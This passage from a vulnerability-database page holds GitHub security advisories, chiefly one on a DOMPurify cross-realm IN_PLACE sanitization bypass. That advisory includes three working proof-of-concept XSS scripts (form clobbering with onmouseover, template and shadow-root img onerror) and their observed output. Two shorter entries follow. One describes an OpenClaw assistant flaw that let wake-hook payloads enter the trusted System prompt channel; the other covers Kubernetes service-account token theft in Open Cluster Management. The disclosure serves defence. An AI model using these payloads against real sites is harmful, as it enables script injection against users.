<base>/ form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.
The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.
Root cause
Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."
Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:
element instanceof HTMLFormElement // src/purify.ts:1122
element.attributes instanceof NamedNodeMap // src/purify.ts:1126
sr instanceof DocumentFragment // src/purify.ts:1706
currentNode.content instanceof DocumentFragment // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx)
currentNode instanceof Element // src/purify.ts:1296 (callsite of _checkValidNamespace)
Suggested fix
Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:
HTMLFormElementdetection — compare via the realm-independentgetNodeNamecached prototype getter introduced for the recent shadow-root traversal hardening:
ts
const _isClobbered = function (element: Element): boolean {
const nn = getNodeName ? getNodeName(element) : element.nodeName;
if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;
// ... rest of the typeof / cached-getter shape checks ...
};
-
DocumentFragmentdetection —nodeType === NODE_TYPE.documentFragment(i.e.,11), notinstanceof DocumentFragment. The check is already realm-independent becauseNode.nodeTypeis a numeric constant. Same change for the<template>-content and attached-shadow-root recursion sites. -
NamedNodeMapdetection — readelement.attributesvia the cachedElement.prototype.attributesgetter (introducegetAttributes = lookupGetter(ElementPrototype, 'attributes')) and verifynodeType === 11-style shape (length is a number, indexed[i]returns objects with.name/.valuestrings). Do not rely oninstanceof NamedNodeMap. -
Elementdetection at:1296— replacecurrentNode instanceof Elementwith a shape check (getNodeType(currentNode) === NODE_TYPE.element).
The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.5"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49458"
],
"database_specific": {
"cwe_ids": [
"CWE-501",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:56:35Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation \u2014 foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe\u0027s realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`\u0027s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment \u2014 silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm \u2014 popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer\u0027s own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`\u0027s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] \u2014 `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n return (\n element instanceof HTMLFormElement \u0026\u0026 // [A] realm-bound \u2014 false for any\n // iframe-realm \u003cform\u003e element\n (typeof element.nodeName !== \u0027string\u0027 ||\n typeof element.textContent !== \u0027string\u0027 ||\n typeof element.removeChild !== \u0027function\u0027 ||\n !(element.attributes instanceof NamedNodeMap) || // [A\u0027] also realm-bound\n typeof element.removeAttribute !== \u0027function\u0027 ||\n typeof element.setAttribute !== \u0027function\u0027 ||\n typeof element.namespaceURI !== \u0027string\u0027 ||\n typeof element.insertBefore !== \u0027function\u0027 ||\n typeof element.hasChildNodes !== \u0027function\u0027 ||\n !(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027))\n );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm\u0027s `HTMLFormElement`, not the parent realm\u0027s. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` \u2014 which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form\u0027s real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] \u2014 `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n ...\n _sanitizeElements(shadowNode);\n _sanitizeAttributes(shadowNode);\n /* Deep shadow DOM detected */\n if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound\n _sanitizeShadowDOM(shadowNode.content);\n }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) { // [B\u0027] realm-bound\n _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm \u2014 not from the parent realm. Both checks miss it, and the template\u0027s contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] \u2014 `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n const sr = getShadowRoot\n ? getShadowRoot(root)\n : (root as Element).shadowRoot;\n if (sr instanceof DocumentFragment) { // [C] realm-bound\n _sanitizeAttachedShadowRoots(sr);\n _sanitizeShadowDOM(sr);\n }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:\u0027open\u0027})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm\u0027s `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point\u0027s `_isNode(dirty)` at `:1750` is realm-agnostic \u2014 it checks shape, not constructor identity), so callers reasonably expect that the library\u0027s downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 \u2014 cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n const idoc = iframe.contentDocument;\n const div = idoc.createElement(\u0027div\u0027); div.id = \u0027dirty\u0027;\n const form = idoc.createElement(\u0027form\u0027);\n form.setAttribute(\u0027onmouseover\u0027,\n \u0027window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\u0027);\n const inp = idoc.createElement(\u0027input\u0027);\n inp.setAttribute(\u0027name\u0027, \u0027attributes\u0027); // clobbers form.attributes\n form.appendChild(inp);\n div.appendChild(form);\n\n DOMPurify.sanitize(div, { IN_PLACE: true });\n\n window.__dompurify_xss = 0;\n document.body.appendChild(div);\n form.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n \"sanitizeError\": null,\n \"before\": {\n \"formIsMainRealmHTMLFormElement\": false,\n \"formIsForeignRealmHTMLFormElement\": true,\n \"formAttributesType\": \"[object HTMLInputElement]\",\n \"formAttributesEqualsInput\": true\n },\n \"after\": {\n \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n \"xssExecuted\": 1\n }\n}\n```\n\n### PoC 2 \u2014 cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n const idoc = iframe.contentDocument;\n const div = idoc.createElement(\u0027div\u0027);\n const tpl = idoc.createElement(\u0027template\u0027);\n tpl.innerHTML = \u0027\u003cimg src=\"x\" onerror=\u0027 +\n \u0027\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e\u0027;\n div.appendChild(tpl);\n\n DOMPurify.sanitize(div, { IN_PLACE: true });\n\n window.__dompurify_template_xss = 0;\n const clone = idoc.importNode(tpl.content, true);\n document.body.appendChild(clone); // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n \"before\": {\n \"templateIsMainRealmHTMLTemplateElement\": false,\n \"contentIsMainRealmDocumentFragment\": false,\n \"contentIsForeignRealmDocumentFragment\": true\n },\n \"after\": {\n \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n \"xssExecuted\": 1\n }\n}\n```\n\n### PoC 3 \u2014 cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n const idoc = iframe.contentDocument;\n const host = idoc.createElement(\u0027div\u0027);\n host.attachShadow({ mode: \u0027open\u0027 }).innerHTML =\n \u0027\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e\u0027;\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n\n window.__dompurify_shadow_xss = 0;\n document.body.appendChild(host); // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n \"before\": {\n \"hostIsMainRealmElement\": false,\n \"shadowRootIsMainRealmDocumentFragment\": false,\n \"shadowRootIsForeignRealmDocumentFragment\": true\n },\n \"after\": {\n \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n \"xssExecuted\": 1\n }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** \u2014 `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** \u2014 `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** \u2014 any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page\u0027s DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another \u2014 the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm\u0027s `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap // src/purify.ts:1126\nsr instanceof DocumentFragment // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** \u2014 compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n ```ts\n const _isClobbered = function (element: Element): boolean {\n const nn = getNodeName ? getNodeName(element) : element.nodeName;\n if (typeof nn !== \u0027string\u0027 || transformCaseFunc(nn) !== \u0027form\u0027) return false;\n // ... rest of the typeof / cached-getter shape checks ...\n };\n ```\n\n2. **`DocumentFragment` detection** \u2014 `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** \u2014 read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, \u0027attributes\u0027)`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` \u2014 replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.",
"id": "GHSA-hpcv-96wg-7vj8",
"modified": "2026-06-15T19:56:35Z",
"published": "2026-06-15T19:56:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks"
}
GHSA-JF56-MCCX-5F3F
Vulnerability from github – Published: 2026-04-09 14:22 – Updated: 2026-04-09 14:22Impact
Authenticated /hooks/wake and mapped wake payloads are promoted into the trusted System: prompt channel.
An authenticated wake hook or mapped wake payload could be promoted into the trusted System prompt channel instead of an untrusted event.
OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.2 - Patched versions:
2026.4.8
Fix
The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.
Verification
The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.
Credits
Thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T14:22:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nAuthenticated `/hooks/wake` and mapped `wake` payloads are promoted into the trusted `System:` prompt channel.\n\nAn authenticated wake hook or mapped wake payload could be promoted into the trusted System prompt channel instead of an untrusted event.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.2`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @tdjackey for reporting.",
"id": "GHSA-jf56-mccx-5f3f",
"modified": "2026-04-09T14:22:23Z",
"published": "2026-04-09T14:22:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jf56-mccx-5f3f"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Authenticated `/hooks/wake` and mapped `wake` payloads are promoted into the trusted `System:` prompt channel"
}
GHSA-JHH6-6FHP-Q2XP
Vulnerability from github – Published: 2024-12-18 00:31 – Updated: 2024-12-18 15:43A flaw was found in Open Cluster Management (OCM) when a user has access to the worker nodes which contain the cluster-manager or klusterlet deployments. The cluster-manager deployment uses a service account with the same name "cluster-manager" which is bound to a ClusterRole also named "cluster-manager", which includes the permission to create Pod resources. If this deployment runs a pod on an attacker-controlled node, the attacker can obtain the cluster-manager's token and steal any service account token by creating and mounting the target service account to control the whole cluster.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "open-cluster-management.io/ocm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9779"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-18T15:43:48Z",
"nvd_published_at": "2024-12-17T23:15:05Z",
"severity": "HIGH"
},
"details": "A flaw was found in Open Cluster Management (OCM) when a user has access to the worker nodes which contain the cluster-manager or klusterlet deployments. The cluster-manager deployment uses a service account with the same name \"cluster-manager\" which is bound to a ClusterRole also named \"cluster-manager\", which includes the permission to create Pod resources. If this deployment runs a pod on an attacker-controlled node, the attacker can obtain the cluster-manager\u0027s token and steal any service account token by creating and mounting the target service account to control the whole cluster.",
"id": "GHSA-jhh6-6fhp-q2xp",
"modified": "2024-12-18T15:43:48Z",
"published": "2024-12-18T00:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9779"
},
{
"type": "WEB",
"url": "https://github.com/open-cluster-management-io/registration-operator/issues/361"
},
{
"type": "WEB",
"url": "https://github.com/open-cluster-management-io/ocm/pull/325"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-9779"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2317916"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-cluster-management-io/OCM"
},
{
"type": "WEB",
"url": "https://github.com/open-cluster-management-io/ocm/releases/tag/v0.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open Cluster Management vulnerable to Trust Boundary Violation"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.